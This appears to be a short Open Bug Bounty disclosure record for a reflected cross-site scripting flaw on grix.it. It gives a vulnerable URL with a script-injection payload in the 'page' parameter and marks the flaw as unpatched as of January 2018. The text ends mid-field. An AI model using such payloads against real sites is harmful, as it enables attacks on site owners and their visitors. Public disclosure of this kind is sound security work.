grix.it XSS vulnerability

Vulnerable URL: http://www.grix.it/viewer.php?page=2253=%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 239658 VIP website...